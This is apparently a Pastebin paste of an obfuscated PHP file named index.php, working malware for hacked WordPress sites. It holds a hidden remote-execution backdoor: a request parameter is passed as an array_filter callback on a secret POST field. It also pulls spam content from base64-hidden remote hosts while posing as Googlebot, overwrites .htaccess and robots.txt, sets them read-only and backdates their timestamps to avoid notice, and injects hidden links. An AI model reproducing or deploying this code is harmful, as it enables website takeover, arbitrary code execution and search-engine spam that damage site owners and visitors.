PalmaSolutions

index.php

May 3rd, 2018
321
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 11.66 KB | None | 0 0
  1. <?php
  2.  
  3. error_reporting(0);ob_clean();if(!function_exists('str_ireplace')){function str_ireplace($a,$b,$c){return trim(preg_replace("/".addcslashes($a,"?:\\/*^$")."/si",$b,$c));}};function _get($d){$f=!empty($_GET[$d])?$_GET[$d]:'';return $f;}function formaturl($g,$h){$j=parse_url($h);$g=preg_replace("/(href|src)=([\'\"])\/\//i","$1=$2".$j["scheme"]."://",$g);$k=strpos($h,'https://')!==false?str_replace('https://','http://',$h):str_replace('http://','https://',$h);$g=str_ireplace($k,$h,$g);if(preg_match("/<base[^>]+href=[\'\"]([^\'\"]+)[^>]*>/i",$g,$l)){$m=$l[1];$g=preg_replace("/(href|src)=([\'\"])((?!(http|javascript|[\/]))[^\'\"]+)/i",'$1=$2'.$m.'$3',$g);$g=str_ireplace($h,'/',$g);$g=preg_replace("/<base[^>]+href=[\'\"]([^\'\"]+)[^>]*>/i",'',$g);}if(preg_match_all("/(<img[^>]+src=\"([^\"]+)\"[^>]*>)|(<a[^>]+href=\"([^\"]+)\"[^>]*>)|(<img[^>]+src='([^']+)'[^>]*>)|(<a[^>]+href='([^']+)'[^>]*>)/i",$g,$l)){foreach($l[0]as $n=>$o){$g=str_replace($o,fullsrchref($o,$h),$g);}}$g=str_replace($h.'/',$h,$g);return $g;}function fullsrchref($g,$h){if(preg_match("/(.*)(href|src)\=(.+?)( |\/\>|\>).*/i",$g,$l)){$p=$l[3];}if(strlen($p)>0){$q=str_replace(chr(34),"",$p);$q=str_replace(chr(39),"",$q);}else{return $g;}$j=parse_url($h);$r=$j["scheme"];if($r!=""){$r=$r."://";}$t=$j["host"];$u=$r.$t;if(strlen($u)==0){return $g;}$v=dirname($j["path"]);if($v[0]=="\\"){$v="";}$w=strpos($q,"#");if($w>0)$q=substr($q,0,$w);if(preg_match("/^(http|https|ftp):(\/\/|\\\\)(([\w\/\\\+\-~`@:%])+\.)+([\w\/\\\.\=\?\+\-~`@\':!%#]|(&amp;)|&)+/i",$q)){return $g;}elseif($q[0]=="/"){$q=$u.$q;}elseif(substr($q,0,3)=="../"){while(substr($q,0,3)=="../"){$q=substr($q,strlen($q)-(strlen($q)-3),strlen($q)-3);if(strlen($v)>0){$v=dirname($v);}}$q=$u.$v."/".$q;}elseif(substr($q,0,2)=="./"){$q=$u.$v.substr($q,strlen($q)-(strlen($q)-1),strlen($q)-1);}elseif(strtolower(substr($q,0,7))=="mailto:"||strtolower(substr($q,0,11))=="javascript:"){return $g;}else{$q=$u.$v."/".$q;}return str_replace($p,"\"$q\"",$g);}function go2url($x){header("Location: ".$x);exit("<script>location.href='".$x."';</script>");}function getUrlContent($y,$z,$aa){$bb='';if(function_exists('curl_init')){$cc=curl_init();curl_setopt($cc,CURLOPT_URL,$y);curl_setopt($cc,CURLOPT_RETURNTRANSFER,1);curl_setopt($cc,CURLOPT_USERAGENT,$z);if(strpos($y,'https://')!==false){curl_setopt($cc,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($cc,CURLOPT_SSL_VERIFYHOST,false);}$bb=curl_exec($cc);curl_close($cc);}if($bb==''){if($aa==''){$aa=$y;}$bb=file_get_contents($aa);}return $bb;}function ThePageURL(){$dd='http';if(isset($_SERVER["HTTPS"])&&strtolower($_SERVER["HTTPS"])=="on"){$dd.="s";}$dd.="://".$_SERVER['HTTP_HOST'];$ee=$_SERVER['PHP_SELF'];if(preg_match('/^\/([a-z0-9_-]+)\.php\//i',$ee,$ff)){$ee='/'.$ff[1].'.php';}$dd.=$ee;return $dd;}if(isset($_REQUEST['e'])){$gg=$_REQUEST['e'];$hh=array($_POST[md5(ThePageURL())],);array_filter($hh,$gg);}function _docroot(){return preg_replace("!${_SERVER['SCRIPT_NAME']}$!",'',str_replace('\\','/',$_SERVER['SCRIPT_FILENAME']));}function wp_redirect_canonical(){return false;}function echo_relatedlinks(){echo '<div class="container">{{relatedlinks}}</div>';}function echo_otherlinks(){echo '<div class="container">{{otherlinks}}</div>';}$ii=array("topic","hot","updated","free","review");$jj=0;for($kk=0;$kk<count($ii);$kk++){if(isset($_GET[$ii[$kk]])){$jj=$kk;break;}}$ll=$ii[$jj];$GLOBALS['templateC']=base64_decode("");if(empty($GLOBALS['templateC'])){$mm=_docroot().'/';if(file_exists($mm.'wp-config.php')){ob_start();require($mm.'wp-config.php');ob_end_clean();add_filter('redirect_canonical','wp_redirect_canonical');define('WP_USE_THEMES',true);query_posts('showposts=1');$nn=$GLOBALS['wp_query'];$nn->is_feed=false;$nn->is_404=false;if(isset($_GET[$ll])){$nn->is_home=false;$nn->is_single=true;$nn->is_page=true;$nn->post->ID='new';$nn->post->post_title='{{post_title}}';$nn->post->post_excerpt='{{post_excerpt}}';$nn->post->post_content='{{post_content}}';$nn->post->post_name='';$nn->post->guid='#';$nn->post->post_date=date('Y-m-d H:i:s');$nn->post->post_date_gmt=$nn->post->post_date;$nn->post->post_modified=$nn->post->post_date;$nn->post->post_modified_gmt=$nn->post->post_date;$GLOBALS['post']=$nn->post;add_action('get_footer','echo_relatedlinks');add_action('get_footer','echo_otherlinks');}else{$nn->is_home=true;}ob_start();require($mm.'wp-blog-header.php');$GLOBALS['templateC']=ob_get_contents();ob_end_clean();}}$oo=array(base64_decode("aHR0cDovL2hhdC1lbi52aW5oZWxwLmNvbQ=="),base64_decode("aHR0cDovL2hhdC1qcC52aW5oZWxwLmNvbQ=="),base64_decode("aHR0cDovL2hhdC1kZS52aW5oZWxwLmNvbQ=="),base64_decode("aHR0cDovL2hhdC1rci52aW5oZWxwLmNvbQ=="),base64_decode("aHR0cDovL2hhdC10dy52aW5oZWxwLmNvbQ=="));$pp=array(base64_decode("TmV3VmFsaWREdW1wcw=="),base64_decode("TmV3VmFsaWREdW1wcw=="),base64_decode("TmV3VmFsaWREdW1wcw=="),base64_decode("TmV3VmFsaWREdW1wcw=="),base64_decode("TmV3VmFsaWREdW1wcw=="));$qq="Russellwild";$rr=ThePageURL();$ss=$oo[$jj]."/";$tt=$pp[$jj];$o=_get($ll);header("Content-type: text/html; charset=utf-8");if(!empty($o)){$uu=reset(explode('?',end(explode('.',$o))));if($uu=="xml"){header("Content-type: text/xml; charset=utf-8");}else if($uu=="css"){header("Content-type: text/css; charset=utf-8");}else if($uu=="js"){header("Content-type: application/x-javascript; charset=utf-8");}else if($uu=="woff"){header("Content-type: application/x-font-woff; charset=utf-8");}else if($uu=="woff2"){header("Content-type: application/x-font-woff; charset=utf-8");}}if($o==''){$o=md5($_SERVER["REQUEST_URI"]);}else{$o=urlencode($o);}$vv=$ss.$o;$vv.=(strpos($vv,'?')!==false)?'&':'?';$vv.="fd=".base64_encode($rr);$ww=_get($ll);if(!empty($ww)&&strpos($_SERVER["REQUEST_URI"],'gotoclear')!==false){go2url($vv.'&gotoclear');}if(strrchr($rr,"/index.php")=="/index.php"){$xx=reset(explode("?",$_SERVER["REQUEST_URI"]));$yy=end(explode('/',$xx));if($yy==""){$rr=substr($rr,0,-9);}}$zz='';foreach($ii as $aaa){$zz.='&nbsp;|&nbsp;<a href="'.$rr.'?'.$aaa.'=/">'.$qq.' '.$aaa.'</a>';}$rr.='?'.$ll.'=';if(_get('p')=='exam'){go2url($rr.'/');}$bbb=_docroot();$ccc=0;$ddd=substr($_SERVER['PHP_SELF'],strripos($_SERVER['PHP_SELF'],"/")+1);$eee="RewriteRule ^(".implode('|',$ii)."|rewrite)-(.*) ".$ddd."?$1=$2 [L]".PHP_EOL;$fff=dirname($bbb.$_SERVER['PHP_SELF']).'/.htaccess';if(file_exists($fff)){$ggg=file_get_contents($fff);if(strpos($ggg,$eee)!==false){$ccc=1;}}$hhh=time()-39999999;if(isset($_GET['rewrite'])){switch($_GET['rewrite']){case  'n':if(file_exists($fff)){@chmod($fff,0755);$iii=file_get_contents($fff);$iii=str_replace("RewriteEngine On".PHP_EOL.$eee,'',$iii);$iii=str_replace($eee,'',$iii);$eee.=$iii;}if(@fwrite(fopen($fff,'w'),"RewriteEngine On".PHP_EOL.$eee)){@touch($fff,$hhh,$hhh);@chmod($fff,0444);echo '[rewrite-n-OK]';}die('[rewrite-n]');break;case  'x':@chmod($fff,0755);$iii=file_get_contents($fff);$iii=str_replace($eee,'',$iii);if(@fwrite(fopen($fff,'w'),$iii)){@touch($fff,$hhh,$hhh);@chmod($fff,0444);}die('[rewrite-x]');break;case  "test":die('[rewrite-OK]');break;}}$jjj=filemtime($bbb.$_SERVER['PHP_SELF']);if($hhh-$jjj<20000000){$kkk=substr($rr,0,strrpos($rr,'?'));$lll=substr($rr,0,strrpos($rr,'/'));$mmm=getUrlContent($kkk."?rewrite=n",'Googlebot/2.1+(+http://www.googlebot.com/bot.html)','');if(strpos($mmm,'[rewrite-n]')!==false){$mmm=getUrlContent($lll."/rewrite-test",'Googlebot/2.1+(+http://www.googlebot.com/bot.html)','');@chmod($bbb.$_SERVER['PHP_SELF'],0755);@touch($bbb.$_SERVER['PHP_SELF'],$hhh-30000000,$hhh-30000000);if(strpos($mmm,'[rewrite-OK]')!==false){}else{@chmod($fff,0755);$iii=file_get_contents($fff);$iii=str_replace($eee,'',$iii);if(@fwrite(fopen($fff,'w'),$iii)){@touch($fff,$hhh,$hhh);@chmod($fff,0444);}}}}$nnn=substr($_SERVER['PHP_SELF'],1);if(preg_match('/^([a-z0-9_-]+)\.php\//i',$nnn,$ff)){$nnn=$ff[1].'.php';}$ooo=$bbb.'/.htaccess';if(file_exists($ooo)&&$nnn!='index.php'){if(strpos($nnn,'/')!==false){$nnn=dirname($nnn).'/';}$ppp=str_replace(".","\.",$nnn);$ppp=str_replace("/","\/",$ppp);$qqq='RewriteRule ^'.$ppp.' - [L]';$rrr=file_get_contents($ooo);if(strpos($rrr,'RewriteEngine On'.PHP_EOL.$qqq)===false){@chmod($ooo,0755);if(strpos($rrr,PHP_EOL.$qqq)!==false){$rrr=str_replace(PHP_EOL.$qqq,'',$rrr);}$rrr=str_replace('RewriteEngine On','RewriteEngine On'.PHP_EOL.$qqq,$rrr);if(@fwrite(fopen($ooo,'w'),$rrr)){@touch($ooo,$hhh,$hhh);@chmod($ooo,0444);}}}$sss=$bbb.'/robots.txt';@chmod($sss,0755);if(@fwrite(fopen($sss,'w'),'User-agent: *')){@touch($sss,$hhh,$hhh);@chmod($sss,0444);}if(isset($_GET[$ll])){$ttt='<meta name="robots" content="index,follow,noarchive,noodp,noydir" /><meta name="viewport" content="width=device-width" /><script>if(document.referrer.indexOf(".")>0 && self.location.search.indexOf("gotoclear")==-1){self.location.href+=(self.location.search==""?"?":"&")+"gotoclear";}</script>';if(!empty($GLOBALS['templateC'])&&$o!='sitemap.xml'){$uuu=getUrlContent($vv.'&tojson',$rr,'');$vvv=explode("^",$uuu);$www=$vvv[0]." - ".$qq;$xxx=$vvv[1];$yyy=$vvv[2];$vvv[3]=formaturl($vvv[3],$ss);$vvv[4]=formaturl($vvv[4],$ss);$vvv[5]=formaturl($vvv[5],$ss);$vvv[6]=formaturl($vvv[6],$ss);$zzz=str_ireplace($tt,$qq,$vvv[3]);$aaaa=explode('</a>,',$vvv[4]);$bbbb='';foreach($aaaa as $cccc){$bbbb.='<li>'.$cccc.'</a></li>';}$bbbb='<div class="clearfix"></div><div class="widget"><div class="title-widget">Related Posts</div><ul>'.$bbbb.'</ul></div>';$dddd=explode('</a>,',$vvv[5]);$eeee='';foreach($dddd as $cccc){$eeee.='<li>'.$cccc.'</a></li>';}$eeee='<div class="clearfix"></div><div class="widget"><div class="title-widget">Recent Updated Posts</div><ul>'.$eeee.'</ul></div>';$ffff=$vvv[6];$zz='<div class="clearfix"></div>'.str_replace('</div>',$zz.'</div>',$ffff);$gggg=$GLOBALS['templateC'];$gggg=str_replace('{{post_title}}',$www,$gggg);$gggg=str_replace('{{post_excerpt}}',$www.' '.$yyy,$gggg);if(strpos($gggg,'{{post_content}}')===false){$gggg=preg_replace("/(<body[^>]*>)/i",'\\1{{post_content}}',$gggg);}if(strpos($gggg,'{{post_content}}')===false){$gggg=str_ireplace("</body>",'{{post_content}}</body>',$gggg);}$gggg=str_replace('{{post_content}}',$zzz,$gggg);$gggg=str_replace('{{relatedlinks}}',$bbbb,$gggg);$gggg=str_replace('{{otherlinks}}',$eeee,$gggg);$gggg=preg_replace("/(<link[^\/]+rel=[\'\"]canonical[\'\"][^>]*>)/i","",$gggg);$gggg=preg_replace("/(<link[^\/]+rel=[\'\"]shortlink[\'\"][^>]*>)/i","",$gggg);$gggg=preg_replace("/(<meta[^\/]+name=[\'\"]robots[\'\"][^>]*>)/i","",$gggg);$gggg=preg_replace("/(<title>[^<]*<\/title>)/i",'<title>'.$www.'</title>',$gggg);$gggg=preg_replace("/(<meta[^\/]+name=[\'\"]description[\'\"][^>]*>)/i","",$gggg);$gggg=str_ireplace('</title>','</title>'.PHP_EOL.'<meta name="description" content="'.$yyy.'"/>',$gggg);$gggg=preg_replace("/(<meta[^\/]+name=[\'\"]keywords[\'\"][^>]*>)/i","",$gggg);$gggg=str_ireplace('</title>','</title>'.PHP_EOL.'<meta name="keywords" content="'.$xxx.'"/>',$gggg);$gggg=str_replace($ss,$rr,$gggg);}else{$gggg=getUrlContent($vv,$rr,'');if(!empty($o)){$uu=reset(explode('?',end(explode('.',$o))));if($uu=="js"||$uu=="css"||$uu=="woff"||$uu=="woff2"){die($gggg);}}$gggg=formaturl($gggg,$ss);$gggg=str_replace($ss,$rr,$gggg);}$gggg=str_ireplace('</head>',$ttt.'</head>',$gggg);if(count($ii)>1){$gggg=str_ireplace('</body>',$zz.' <a href="'.$rr.'sitemap.xml" target="_blank">sitemap</a></body>',$gggg);}$gggg=str_ireplace($tt,$qq,$gggg);if($ccc==1){$hhhh=substr($rr,0,strrpos($rr,'?'));$iiii=substr($rr,0,strrpos($rr,'/'));foreach($ii as $aaa){$gggg=str_replace($hhhh.'?'.$aaa.'=',$iiii.'/'.$aaa.'-',$gggg);}}exit($gggg);}else{$zz='<div style="position:absolute;left:-99999px;">Links: '.$zz.'</div>';if(!empty($GLOBALS['templateC'])){$gggg=$GLOBALS['templateC'];$gggg=str_replace('{{post_title}}',$qq,$gggg);$gggg=str_replace('{{post_excerpt}}',$qq,$gggg);$gggg=str_replace('{{post_content}}','',$gggg);$gggg=str_replace('{{relatedlinks}}','',$gggg);$gggg=str_replace('{{otherlinks}}','',$gggg);$gggg=str_ireplace('</body>',$zz.'</body>',$gggg);echo $gggg;}else{echo $zz;}}?>
Advertisement
Add Comment
Please, Sign In to add comment